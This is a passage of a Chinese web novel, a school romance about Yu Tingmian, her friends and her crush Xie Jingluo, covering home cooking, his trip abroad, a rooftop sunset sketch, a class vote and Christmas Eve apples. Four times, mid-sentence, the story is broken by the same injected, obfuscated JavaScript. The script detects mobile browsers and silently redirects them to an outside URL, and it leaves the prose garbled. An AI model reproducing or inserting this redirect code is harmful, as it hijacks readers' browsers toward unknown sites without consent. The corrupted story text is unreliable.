闭上眼睛之前于听眠想起了件事,她费力地下床,拿起书桌上的手机给早已去上班的付向晓打了个电话,让她给自己请半天假,下午再去学校。 付向晓:“怎么了?” 于听眠声音带着点沙哑:“睡过头了。” 付向晓:“行,那我给你请个病假吧,桌子上有剩下的早餐,你饿了就吃点,今天中午我不回来,午饭你要自己解决哦,也不用给我们留,我们晚上回来重新做。” 于听眠:“好,知道了。” 解决完后顾之忧,于听眠心安理得地回床上睡了个回笼觉。 又过了约莫一个小时,她神清气爽地掀开了被子下床。 离下午上课还有好久,于听眠洗漱完后慢悠悠走到餐桌前掀开菜罩子看了看。里面放着一些早餐包,已经有些凉了,她懒得再去热,就这么拿起一个开啃。 正好有时间,她随便垫了两口肚子,坐回书桌前将昨晚没写的练习题补上。 写数学题的时间总是意外过得快,待于听眠放下笔,转眼间时间就到了中午。 她开始着手准备午饭。 先是把米饭焖上,然后翻了翻冰箱看看有什么能吃的。 她拿出了一捆菜心,又翻出了一袋冰鲜鸡中翅,准备做个清炒菜心和红烧鸡翅。 先是拿了几个出来,想到了什么,刚系上的袋子又被打开,于听眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115822|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股脑把袋子里剩余的鸡中翅全倒了出来。 于听眠手法娴熟,不多时一荤一素就被端上了饭桌。 整理好自己使用过的工具,她又翻出了个饭盒,将满满一盘的鸡翅夹了一半多进去,只剩几个留在盘子里。 于听眠盖上饭盒盖子,放进袋子里系好防漏,完事后她满意地看了眼自己的杰作。 很好,今晚投喂唐思雨加餐。 嘻嘻~ 下午于听眠听着午休结束的铃响准点来到了教室。 不同于住宿生中午可以回宿舍休息,走读生中午能回家休息的就回家,路远不方便来回跑的就在教室趴桌子上午睡或者自习,除了不能在校园里随意游荡。 于听眠前脚刚坐下,唐思雨后脚也进来了,看到她在座位上还有些意外:“你怎么来了?” 于听眠滴溜转了一圈眼睛,开演:“呀?这般说来,是我来得不巧了?” 唐思雨和她是一丘之貉,顿时是心神领会:“不,妹妹来得正是时候。” 说完唐思雨自己先笑了:“刚回来就整这出,我还以为你今天不来了。” “睡过头了。”于听眠解释完,又神秘兮兮地说:“猜猜我带了什么来?” 唐思雨表情凝重,左右看了眼,压低声音,像极了地下党碰头:“一千万现金?” 于听眠:“……你是不是没睡醒。” 看得出来她很无语,都用上了陈述语气。 被骂了,唐思雨笑出了鹅叫。 “所以带了什么?”笑完继续问。 “不告诉你,你自己看。”于听眠把塑料袋子推她桌面上。 唐思雨打开一看,霎时间两眼发光:“哇塞!鸡翅?!” 于听眠:“嗯哼~今晚我们加餐。” 唐思雨又问:“是你自己做的吗?” 于听眠:“是啊,中午多做了点,快要上课了,先收起来今晚吃。” 说着,于听眠伸手要拿回袋子。 “哗啦——” 谁料唐思雨一把护住了袋子,往一旁挪不让于听眠拿走,动作过大,袋子摩擦时还发出了发出刺耳的声响。 于听眠:“?” 她被这忽如其来的动静搞懵了。 唐思雨眯着眼睛看她,眼神防备:“干什么干什么,这是我家宝给我做的鸡翅,你要吃让你家宝给你做去,不要来抢我的。” 于听眠:“……呵。” 她现在明白人无语的时候会笑出来是什么感觉了。 被暴打了一顿唐思雨终于是老实了,趴在桌子上发出奇怪的动静,哭诉着于听眠家暴她。 于听眠怕降智没理她,让她把今天上午的课堂笔记给自己看看。 “哦。” 唐思雨找出各科的笔记本给她:“你翻开最新那两页就是今天上午的笔记了……还真是巧,你没来,谢惊洛也没来。” “啊?”于听眠很是意外,“他怎么也没来?” “不是很清楚。”唐思雨摇头,“他是半夜两三点左右给秦长宇发信息说今天不来,让秦长宇自己去学校不用等他,秦长宇他今早起床才看见信息,具体原因谢惊洛也没说。” 于听眠:“……这样啊。” 30. 光 半夜两三点发信息…… 是有什么要紧的事吗? 于听眠担心之余还有些焦躁,但她知道担心也没什么办法,谢惊洛连秦长宇都没有告诉原因,她就更不会知道发生了什么。 直到下午吃饭的时候于听眠都有些心不在焉。 唐思雨戳着碗里的饭,暗中观察她,最后实在忍不住,喊了她一声:“眠眠?” 于听眠回神:“啊?怎么了?” 唐思雨担忧道:“发生什么事了吗?感觉你一整个下午情绪都不高。” 她顿了一下,贴心地用更细致的方式形容了于听眠目前的状态:“眼神无神地像被猪油蒙了一样。” 于听眠:“……不会形容可以不形容。” 很好,气一下眼睛就有神了。 “所以真的发生了什么事吗?” “……没有吧。”于听眠迟疑一瞬,有那么一刻想说自己担心谢惊洛,但最后还是换了种说法。 “有句话说得好,人虽然无时无刻都在向前行走,但偶尔会在某个瞬间顿悟一些道理,从而短暂地停下思考,而在这个时间段里做出的决定,很可能会对往后要前进的方向产生巨大影响,我现在大概就处于这个状态。” 唐思雨:“这句话谁说的?” 于听眠:“我说的。” 唐思雨:“……” 真是多余担心她。 见人状态好了不少唐思雨也稍稍放下了心,给她说了一些最近发生的趣事转移她的注意力,没多久两人又开始从今天哪个女老师穿的裙子最好看聊到下次体育课要吃哪个窗口的菜了。 和好友聊天最能放松精神,一顿饭下来蒙在于听眠心头的焦躁感散去不少。 但让于听眠意料不到的是,谢惊洛第二天也没来上课。 唐思雨也觉得奇怪,虽说谢惊洛天天在迟到的边缘徘徊,但连续两天没来上课的情况她也是第一次见,之前有什么事也是最多请半天假就能回来。 终于,在某节课下课的时候唐思雨逮住了从她们座位路过的秦长宇,问他有没有关于谢惊洛的最新消息。 “最新消息?”秦长宇回想片刻,“倒是有一个,他今天早上打电话来跟我说他现在在国外。” “啊???” 这是她们两个人都没想到的可能性,于听眠也最多猜测他是不是生病了,完全没想到人已经出了国。 她终究是忍不住问了一句:“怎么就出国了?好突然。” 秦长宇:“不清楚,他没和我细讲,就只说了过几天再回来,谢惊洛想说的事他会自己说,不想说的事他一个字都不会主动提,听他的语气应该是不想提的,所以我也就没细问。” 话问完了,秦长宇也没了利用价值,唐思雨给了他一根棒棒糖摆摆手把人打发走,转头和于听眠分析:“如果是去了国外的话,那应该是和他妈妈有关。” “他妈妈?” “是的。”唐思雨点头,解释道:“谢惊洛家里的情况我知道的也不是很多,只知道他妈妈是位著名的钢琴家,常年定居在国外,他忽然跑出去十有八九是因为这个。” “……原来如此。” 2013年10月25日 天气:阴 谢惊洛两天没来上课,听秦长宇说他出了国,要过几天才能回来。 又听思雨分析说可能和他妈妈有关。 唉——他连秦长宇都没有告诉原因,更担心了。 算了,写两道语文阅读题静静心吧。 完成了今日份的学习任务,于听眠收拾好东西准备上床歇息。在把遮光的窗帘拉上之前,她看了一眼窗外漆黑的夜空。 近两日天气阴郁,不见月明。 明天是周末,她把讨人厌的闹钟关了再盖上被子准备入眠。 躺了一会儿,她觉得这个姿势有点不舒服,翻了个身。 正对着枕头边的呆头呆脑的小狗玩偶。 于听眠盯着它看了一下,伸手将它捞了过来。 她用力捏了一下软乎乎的狗头,又瞬间松开手看着它一点点回弹。 手感有点上瘾。 于听眠仿佛找到了什么奇妙的乐趣,乐此不疲地对着狗头捏了又捏,发现心情意外地放松了不少,唯一的缺点就是回弹的速度略微缓慢。 眼看着圆滚滚的狗头要被自己恶毒的爪子捏变形,于听眠终于大发慈悲地停了手,揉揉狗头又把它揉圆。 于听眠观赏了一番自己的杰作,而后叹了口气,把玩偶整个搂进怀里。 无论是发生了什么事,都希望谢惊洛能够顺利解决。 她带着这个祝愿,缓缓闭上了眼睛。 已然入了深秋,凉风阵阵,秋风吹落了窗前的树叶,也吹过了风平浪静的周末。 一切如常,无事发生。 又是一个新的周一,于听眠带着期待又忐忑的心情早早来到了教室。与平日无二般,她也是整理好了东西后趁还未上课开始记记单词。 只是她心不静,记得不专心,眼角余光总是时不时落在教室门前,像是在期望着什么到来,真正入脑的单词其实没几个。 时间一点一点流逝,上课铃即将要响,就当于听眠认为今日的希翼又要落空时,教室门口终是出现了惦念已久的身影。 谢惊洛和秦长宇有说有笑地走进了教室。 接连两日的阴郁天气过去,今天出了太阳,不知是谁扯了一下窗帘,日光就漏进了屋里。 世界随之有了光。 于听眠眼眸一亮,她不知怎么形容那一瞬的心情,若非要说的话,或许是守得云开见月明。 “叮铃铃——” 谢惊洛在位置上落坐,铃声也在同一时间响起,于听眠紧绷了好几日的心情刹那间松懈了下来。 她一把抓起正在找书的唐思雨的手。 唐思雨:“?” 于听眠精神饱满道:“亲爱的,我忽然觉得世界是如此的美好,你看看这明媚的阳光,你感受一下这温暖的温度,我感觉我现在浑身充满了力量,你现在让我去做什么我都会去做的!” 唐思雨:“真的?” 于听眠:“假的。” 唐思雨无语:“有病是不是?” 于听眠嬉皮笑脸:“嘻嘻~” 谢惊洛回来了,“新青杯”的初稿筛选结果也出来了,理一班包括于听眠在内,一共入选了五人。 除了于听眠、谢惊洛、唐思雨这三人,剩下的两人分别是语文课代表许云、以及一个娃娃脸、个头不高但挺活泼开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118104|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗的男孩子,于听眠对他的了解不多,只记得他叫何宸逸。 “耶斯——” 唐思雨抓着于听眠的肩膀摇啊摇,企图把她的脑浆子给摇匀了:“哦豁我过了我过了我过了——” “我知道,你冷静一点。”于听眠按住她乱动的手往下一拽,成功让自己逃离她的魔爪,斜摊在一旁,身体仿佛柔若无骨,“我知道你很激动但你先别激动,我身子娇弱,禁不起你这般粗暴对待。” 唐思雨:“……” 又开始演了是吧。 大课间时间充裕,杨秋心把五个人整整齐齐全叫到了办公室。原本还算宽敞的办公室一下子变得拥挤,五个人一起将杨秋心的办公位围了个水泄不通。 谢惊洛觉得挤人,后退了一步,站在了他们后边,但为了不占用过道阻碍其他人路过,他也没退太远,而前方正巧站了于听眠。 两人距离离得近,谢惊洛又高她不少,恍惚间她好似听到了谢惊洛平稳有力的呼吸声。 她不经意地挺直了脊背,身体僵硬,动都不敢动,并开始懊恼今天怎么没打理出个好看的后脑勺。 好在杨秋心适时开口,吸引了全部人的注意力。 她从抽屉里翻出五个文件夹,一人发了一个:“这是你们这次写的文章,每个人的我都做了批注,我打印了五份,你们回去总结一下经验,然后看看其他人的文笔文风,学习一下别人的优点反思一下自己的不足,做好准备参加省级赛。” 于听眠回到教室打开文件夹,抽出来的第一张就是谢惊洛的文章。 这像是日常生活中偶然抽中的小惊喜,没什么特别的含义,却让于听眠的心情愉悦了几分。 她认真地将其他四人的文章都看了一遍,从他们的文章里汲取经验,可谓是收获不少。 于听眠和唐思雨边看边总结经验,正说到一半,何宸逸就寻了过来。 这个男生长着张显幼的娃娃脸,像个小弟弟,行为言语也符合他的长相,开口就是:“两位漂亮姐姐好啊!” “?” 于听眠被这一声姐姐喊懵,看了他几眼,默默靠近唐思雨,小声道:“他几岁?” 唐思雨也小声回答:“小你我一岁多。” 于听眠:“哦。” 那叫姐姐也确实没问题。 何宸逸假装没听到她们两个的大声密谋,笑嘻嘻地说:“能不能向姐姐们请教一下你们写作时的心路历程?” 原来是来问这个。 这没什么不能说的,两人都简单和他交流了一下。 何宸逸得到了自己想要的回答,礼貌和她们道谢道别。 于听眠看到他转头就去骚扰了谢惊洛。 于听眠:“……” 看来等一下许云回来了也逃不过一劫。 晚饭过后于听眠和唐思雨照例去了小超市找饭后甜点。吃完了薯片于听眠觉得手上沾上了调料难受,就去厕所洗了个手。 返回教室时,她无意识地撇了一眼楼梯口。 停住了脚步。 于听眠犹豫片刻,又一次踏上了楼梯。 上到一半,她在拐角处停下。 她看见往日总是紧闭的铁门今日漏了一条细缝。 透进了一缕光。 31. 画 门居然开了? 于听眠惊喜过望,连忙折返回去拿齐了全套工具,在唐思雨纳闷的眼神下小跑出了教室。 再次回到铁门前,她小心翼翼伸手推开了面前这扇厚重的铁门。 年久失修的铁门发出轻微的“咯吱”声,一点一点敞开,于听眠看见了前方站在围栏边上的人。 “哎?” 于听眠想过会有人,却没想过会是他。 谢惊洛听见动静,回过头看她。 天角的余晖金黄辽远,火烧云奔涌翻卷,大雁背着斜阳远去,秋风微凉,秋水苍茫。 夕阳染透了天,光芒万丈,晚霞是太阳留给天空最后的温柔。 他们在这片霞光里对视而上。 微风拂动他的发梢,他面容平静地望向这边,霞光落在他的身上,为他镀上了一层柔软的金色。 温柔却淡漠。 天台广阔,再无他人,风止树静,万籁俱寂,于听眠听见自己的心跳如鼓,心律被眼前人拨动不歇。 “啊……抱歉,是不是打扰到你了?”于听眠攥紧了手中的速写本,无比庆幸她是用另一个单独的本子画的谢惊洛,否则都不敢在他面前打开速写本。 “没有。”谢惊洛轻轻摇头,语气也是轻飘飘的:“公共场所没什么打不打扰的。” “噢……”既然他这么说了,于听眠壮起胆子上前,走到他身旁一米远的距离站定,看着远方的绚烂美景,实在好奇:“我之前……也上来看过,门一直是被锁着的,今天是你把它打开的?” “不是。”谢惊洛否认,“我没有钥匙。” “那你是怎么开的锁?” “撬开的。” “哦……啊??” 谢惊洛话说得顺口坦然,于听眠一时半会儿竟没有察觉哪里不对,等她反应过来,就睁大了眼睛看向谢惊洛。 “骗你的。”谢惊洛看她猝不及防醒悟的模样觉得有趣,没忍住笑了一下,解释道:“那把锁挂着只是个摆饰,扣不上的,一拉就能开。” “哦……” 于听眠“哦”了一声。 发现自己有点冷场了,于听眠又连忙道:“你喜欢看夕阳?” “不算,但今天的夕阳确实美得让人留恋。” “确实……” 于听眠的声音又低了下去。 “你需要做什么随意就好,不必在意我。”说着,谢惊洛敛起了笑意,视线也不再看她,落回了远方被夕阳染红了的地平线上。 于听眠看着他兴致缺缺的神情,忽而敏锐地察觉——他今天心情不太好。 以往见到谢惊洛,无论何时,不管人多或人少,都总能看见他面上带着一抹浅笑,哪怕不笑,周身的气质也是温和的。 像今日毫不掩饰的冷然于听眠却是第一次见。 她能感受到这种坏心情不是对着她来的,再往回想,好像也只有他出国的那几日了。 于听眠想对他说点什么,却不能问他事情的起始根末,她记得秦长宇说的话,人家摆明了不想说的事再问就不礼貌了。 她的视线跟着谢惊洛一起落在地平线上,不久,心里有了主意。 她悄无声息退开,寻了个不起眼但视野好的墙根坐下,将带来的工具在地上摆了一排,准备就绪,她翻开速写本最新一页画了起来。 深秋入夜早,谢惊洛看着最后一点残阳被地平线吞没,星辉即将降临。 他收回了视线,转身将要离去。 “谢惊洛——等一下——” 呼喊声从不起眼的角落响起,谢惊洛一怔,不曾想过于听眠还未离开,他下意识侧头看去。 他看见女孩手忙脚乱地收拾起放了一地的画笔,然后捧着画笔和一个本子快步走到了自己跟前,动作太急,她停下来的时候还有些微的喘息。 可眼睛却是明亮的。 她小心谨慎地从本子上撕下了一张,双手奉至他的跟前,明明心中满怀期待面上却是平静无波:“这个……给你。” 谢惊洛朝她手中的纸张看去,发现上面画的是方才的落日余晖,女孩的画功不错,晚霞在纸上栩栩如生。 “这是?” “啊,这个……”于听眠没敢说这是看他心情不好特意画来送他的,怕他不收,也怕自己接受不了他退回来。 她找了个对方无法拒绝的说辞,笑说:“上次你不是帮我夹了一个小狗玩偶吗?看你好像挺喜欢今天的夕阳的,就画了一副给你,当做谢礼了,有来有回嘛,不然总觉得过意不去。” 我将心思藏进夕阳,又将夕阳留在画里,连同无数祝愿一起赠予你,希望在你难过的时候它能给你带来一丝慰藉,即使你永远不会知道这幅画真正的意义。 女孩的笑容明丽,眸若秋水,竟是比画中的夕阳还要灿烂不少。 谢惊洛近几日在心间萦回的雾霾蓦然散去几分,他失笑,伸手接过了她手中的画。 “谢谢。” 2013年10月28日 天气:晴 天啊好开心啊—— 谢惊洛他收下我的画了! 虽然说的理由是上次帮忙夹娃娃的回礼,不然我怕他不收,但没关系,若这幅画能给他带来些许的好心情,就已经很满足了。 晚天长,秋水苍,山腰落日,雁背斜阳。 今晚的夕阳美不胜收。 那就让我不能说的秘密,一直留在今晚的余晖里,随着旅雁的远去,随着夜幕的来临,一同被掩盖吧。 岁月不居,雁过无痕,纵使回忆再美好,也不过是生活中的一段插曲,日子一切如常,按部就班,所有的事物都在向着更好的方向发展。 “新青杯”省级赛结束,唐思雨、许云、何宸逸遗憾止步,于听眠和谢惊洛晋级全国总决赛。 同一时间,谢惊洛和秦长宇的奥数竞赛开始,两人离校前往竞赛地点,几日未归,最终双双获得了一等奖,带回了满身荣誉。 不久后,“新青杯”全国总决赛也一同落下了帷幕,两人不负众望,一齐荣获一等奖,文章被收纳进编书内容。 等所有大事都尘埃落定,于听眠收到获奖通知时,时间已经悄无声息地来到了十二月份的中旬。 等梁兆兴将荣誉证书交到于听眠手中,唐思雨兴奋地扑上去搂住了她的脖子,即使已经提早知道了结果,但她依旧兴高采烈:“宝你太厉害了!你看我说得对吧,我就说你一定会拿奖的!还是一等奖!” 于听眠无奈笑道:“是~承你吉言了~” 秦长宇在一旁控诉:“我拿奖的时候没见你这样的。” “……?”唐思雨怀疑自己失忆了,“你拿奖的时候我没夸你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123716|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 秦长宇:“夸是夸了,但也没见你那么激动。” 唐思雨:“……夸你的时候你的尾巴都要翘到天上去了,再说两句你是不是要原地起飞了?” 秦长宇:“也不是不行。” 唐思雨想给他一脚:“滚。” 将聒噪的家伙赶回了座位,唐思雨又和于听眠掰着手指细数接下来的行程:“等这个月月考完,就马上要到元旦晚会了,过了元旦晚会放假,元旦节的前一天晚上……要不我们一起去市区跨年吧?” “去市区跨年?”不等于听眠回答,秦长宇闻着声儿就过来了,“我觉得可以。” 唐思雨:“谁问你了?” 秦长宇:“管你问不问,我先代表我和谢惊洛同意了。” 唐思雨:“……啧。” 于听眠笑看他们斗嘴打闹,并无异意,一起去跨年这件事就这么愉快地拍板决定了。 下一节课是梁兆兴的课,他提前了两分钟来到教室,先是表扬了于听眠和谢惊洛一番,然后宣布了一件关于关于元旦晚会的事。 “元旦晚会就要到了,学校开始筹备节目,要求每个班都要准备,过不过初审另说,大家有什么绝活的就积极点去报个名,去露两手吓唬吓唬台下。” 他扶了扶鼻梁上的眼镜,继续说道:“那筹备这件事就交给文艺委员了,有意向的去找她报名。” 当晚文艺委员就上讲台说打算和隔壁二班合作一个话剧节目,话剧的建议是二班提出的,角色分配两班抽签选取,问大家有没有异议。 几乎没人有异议,提案通过。 文艺委员办事效率很高,提案通过后就立马去找了二班的文艺委员商量话剧主题、角色、所需人数等事项。 第二天的某节自习课上课前就公布了协商结果。 “我昨晚去找隔壁班的文艺委员商量了一下,确定了话剧主题是童话,王子和公主的,以及若干NPC不等,王子和公主的角色是抽签决定的,他们班抽中了公主,所以我们班要派出一个王子,有人想要扮演的吗?已经报名了节目的除外。” 台下一片寂静,无人应答。 想要上台的都早已去找文艺委员报名节目了,剩下的都是只想安安静静当个吃瓜群众的。 文艺委员扫视了一眼全场:“没有吗?没有的话我就用民主一点的方法——投票咯?” 这个方法好极了,刺激又有趣,同样几乎无人有异。 “OK,那我下课前收集投票结果公布。” 话音刚落,台下瞬间变得躁动。 有一瞬间就有目标人选的: “要是这样的话,我肯定投谢惊洛啊,我们班里还有第二张更适合当王子的脸吗?” “我同意我同意,谢惊洛他长得就像个王子好吧,天选之子就是他了,不接受反驳。” “相信洛哥,他不行的话就没人行了。” “对不起我看脸,我有罪。” “没事,人之常情。” 有带着点私人恩怨的: 唐思雨暗戳戳对于听眠道:“快,眠眠帮我投秦长宇,谢惊洛他不缺人投。” 于听眠没看明白:“你为什么要投秦长宇?” 唐思雨:“因为一想到他有机会上台我就觉得好笑。” 于听眠:“……” 32. 苹果 秦长宇不知道他此时已经被自己的好发小惦记上了,他的前后左右全都是在讨论谢惊洛的,他看着身旁空空如也的位置——这人天天被不同的老师叫走。 他啧啧叹道:“完咯~” 等谢惊洛回到教室,已经上课十分钟了,教室里安静地只能听见偶尔的翻书声以及笔尖在纸张上划过的“沙沙”声。 刚一坐下,秦长宇神神秘秘地传了张纸条过来:你知道刚才发生了什么吗? 谢惊洛眉梢轻扬,也提笔回了两个字:什么? 秦长宇的字写得飞快,一个连一个生怕被人看出来他写了什么东西:没想到吧?你要去当王子了! 谢惊洛看着那行龙飞凤舞的字体:“……” 那确实没想到。 他写:话剧? 秦长宇简略地给他陈述了方才发生的事,顺便告诉他以目前的讨论声看来他当选王子的概率特别大,提前给他道了恭喜。 谢惊洛哼笑一声,也不知道他就不在班里几分钟怎么能发生那么多事。 谢惊洛神情与平常无异,无所谓得好像要被选上台演出的人不是他,完全不符合秦长宇想象中的场景。 见人不回他了,秦长宇又写:你就这个表情?没什么其他想说的吗? 谢惊洛反问:说什么?真被投上了我能弃演? 秦长宇:…… 那好像是不能的,真弃了班里的女孩子们第一个不答应。 罢了。 秦长宇放弃挣扎,觉得自己也是有病,居然想看谢惊洛惊讶的表情。 估计学校哪天被炸了,他也能淡定得像埋炸弹的那一个。 一节课很快过去,离下课时间还有五分钟,文艺委员从第一排开始一个接一个收集票数,眼看着就要收到面前来,于听眠握着笔的手在白纸上停顿须臾,最终是在唐思雨的威逼下填了秦长宇的名字。 利诱?那是完全没有的。 不过也行,毕竟……本来就没打算写谢惊洛的名字。 对不起,她还是有点自私的。 她不想看到谢惊洛成为别人的王子,哪怕只是一场话剧,即使知道票数多她一个少她一个都没有区别,但和那天方楚悦的礼物一样,她不想把礼物转交给他,也不想投出这一张票。 如果唐思雨没让她填秦长宇的话,那她最终也会选择弃票。 投票结果很快就被公布,毫无悬念的,谢惊洛以压倒性的票数成功获选。 所有人都对这次的投票结果没有疑问,除了某个人。 秦长宇头冒问号,拉长了音调:“啊??怎么还有人投我的?还投了三张??” 他第一反应就看向了唐思雨。 唐思雨把忍着笑,把这辈子伤心的事全想了个遍,无辜摊手:“看我干嘛?我什么都不知道哦。” 秦长宇继续盯她,眼里的怀疑越来越深。 唐思雨想的伤心事给力,憋住了没露出破绽。 但旁边的于听眠没憋住,“噗”地漏了一声笑,然后趴在了桌面上,身体不住颤抖。 笑了一个就会笑第二个,唐思雨的嘴角也开始逐渐上扬。 “噗——哈哈哈哈哈哈哈……” 唐思雨终于演不下去了,笑得特别嚣张,边笑还边谴责于听眠:“都怪你,笑什么笑!” 于听眠笑够了,直起身,脑袋从桌面上抬起,眨了眨水汪汪的大眼睛:“怪我干嘛?我什么都没说哦。” 秦长宇:“……” 这俩能玩到一起不是没有原因的,他还一个字都没说呢,就先一个接一个自爆了。 而且……票有三张,而他们有四个人,怎么会有这么巧的事? 已经有两张票自爆了,至于剩下的那张…… 秦长宇缓缓转过头。 谢惊洛正垂眸看书,感受到来者不善的目光,他语气漫然:“嗯,我投的,有什么问题吗?” 秦长宇:“……” 不是,到底是谁猪油蒙了心觉得谢惊洛温柔的?明明这家伙讲一句话能噎死人三次。 谢惊洛空余时间要去排练节目,于听眠一天能见到他的次数更少了,每每经过楼梯口,上去一瞧,天台的铁门时常紧闭着,U型锁依旧是坏的,一拧就开,只是她再没见过有一缕光从门缝中透进来。 隔壁班的人选也定好了,是于听眠熟悉的人——方楚悦。 得知这个消息于听眠心里有点复杂。 但也是意料之内的,方楚悦为人优秀、平易近人、人美声甜,确实很适合当公主。 月考当天正巧是平安夜。 平安夜吃平安果,学校小超市里的苹果包装得精美,摆在最显眼的柜台上,没多久就被一扫而空。 于听眠从考场回来,看见谢惊洛人不在,但他的桌子上摆满了不同包装的苹果,桌面上放不下了,还有一些被塞进了桌肚。 唐思雨准备了好几个小礼盒包装的苹果,给了于听眠一个,没主动给秦长宇,而是等他按耐不住了主动来讨。 她这才看似勉为其难地分了一个给他。 于听眠也准备了几个,她特意留下两个又大又红的,一个给了唐思雨,而另一个放在了包里始终没拿出来。 是给谢惊洛准备的,但她不打算送出去。 这次她没有理由了。 唐思雨看着谢惊洛那一桌苹果随口说了句:“这么多苹果,一个个退回去有得他忙的。” 于听眠摆弄着唐思雨给她的苹果,静静听着,没有说话。 很快就到了饭点,两人一起去吃饭。 等她们回来时,谢惊洛桌面上的苹果被清了个干净。 第二天还有考试,为图方便,大家搬走的书都没有搬回原位,需要什么就在上课前提前准备好。 于听眠的书又放在了教室外面。 她正蹲着身翻找需要的书,头顶传来一道声音:“听眠?” 嗯? 于听眠闻声抬头,看见方楚悦正捧着一个粉色礼盒包装好的苹果笑着看她。 “咦?” 于听眠连忙起身,惊讶道:“是你呀?” 她看着对方手中的苹果,心里咯噔一声,默了默,说:“是要去给谢惊洛送苹果吗?” “嗯?不是哦。”方楚悦先是一愣,随后摇了摇头,解释道:“这是给你的。” “……我?” 剧情的发展于听眠始料不及,设想有无数种,唯独没想过这个苹果是给自己的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132050|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是的。”方楚悦嫣然一笑,将手中的苹果递了过去,“刚刚进教室之前看到你在这里,今天刚好是平安夜,就想着送个苹果给你,平平安安的,诸事顺利。” “啊……谢谢!” 于听眠有些茫然地接过,等跟人说了再见看她转身离开后,她才慢一步回想起自己还没有回礼。 她熟悉的人不多,没准备多少苹果,有一个是一个都送出去了,没有能回对方的苹果。 将苹果和书本都拿回座位,唐思雨看见了问:“怎么出去拿书还多了个苹果?书堆长苹果了?” 于听眠心不在焉:“方楚悦给的。” 唐思雨:“她怎么忽然给你苹果了?” 于听眠看了一眼时钟,离上晚自习还有点时间。 “她说刚好看见我就给了我一个,我出去一趟。” “要上课了你去哪儿?” “去小超市。” 上一批的苹果卖得快,小超市老板抓住时机,又续上了一批新的,于听眠赶到超市时柜台上还余了几个。 她快速挑了一个结账,赶在上课铃响前爬回五楼找到了方楚悦。 方楚悦接到苹果时很是惊讶,她送对方苹果送得突然,想来对方应该是没有多余的苹果回自己的。 却没想到在上课前收到了于听眠的回礼。 “抱歉,送得不是很及时,但好在还是送到了。” 女孩的气息不稳,脸颊泛红,显然是刚经历了一番剧烈运动,仔细联想一下就能知道这个苹果是从何而来。 方楚悦意外之余带着惊喜,声音尾调上扬,清脆悦耳:“谢谢!” 于听眠忽而笑了:“不客气,也祝你平安。” 两天的月考过去,成绩很快出来,于听眠的排名再一次进步,按目前的排名看来,下一次考试她就可以在本班考试,不用再去其他考场。 为此唐思雨很高兴,为了祝贺下次考试不用再分离,她提议一起去喝杯奶茶庆祝一下。 于听眠:“你只是单纯想喝奶茶吧?” 唐思雨:“嘘~有些话只适合深藏于心,说出来就没意思了。” 于听眠:“呵。” 元旦晚会即将到来,下午吃饭的时间,舞台上正进行最后一次彩排。 于听眠提议:“要不要去看看彩排?” 唐思雨:“可以啊。” 舞台前人不多,工作人员在调试播音设备,指导老师在指挥队形。 两人找了个不妨碍人家工作的地方站着观赏。 “看,是何宸逸。”唐思雨拍了拍于听眠。 何宸逸报名的节目是双人街舞,和班上的另一个男生一起,经过了层层筛选终于被选上。 何宸逸身穿充满动感和时尚的街舞服装准备上台,看见于听眠和唐思雨还朝两人比了个“耶”。 “真没想到他会跳街舞。”唐思雨感慨,“果然人不可貌相,不能看着他小小个的就以为他不动弹。” 于听眠:“确实。” 彩排不用表演完全程,只是大概过一小段让指导老师调整一下灯光、舞台站位等问题,但即便如此每一组也要花去不少时间。 直到上课铃声响起,于听眠也没能看见谢惊洛出场。 33. 这这这这这 晚会当天热闹非凡,舞台灯光璀璨夺目,热场子的音乐动感十足,这群平时开早会恨不得躲得越后越好的人今天一个个都转性了,早早就搬了椅子下去顶着冷风在舞台前占前排座位。 其中就有唐思雨。 她几乎是拖着于听眠走:“快点快点,去晚了就占不到前排了!!” 于听眠顶着奔跑中“簌簌”灌进衣领里的寒风,无奈道:“有大屏幕,其实坐在后面也能看见的。” 唐思雨听不进去一点,边喘气边说:“坐后面看大屏幕哪有坐前面看真人好。” 于听眠:“……” 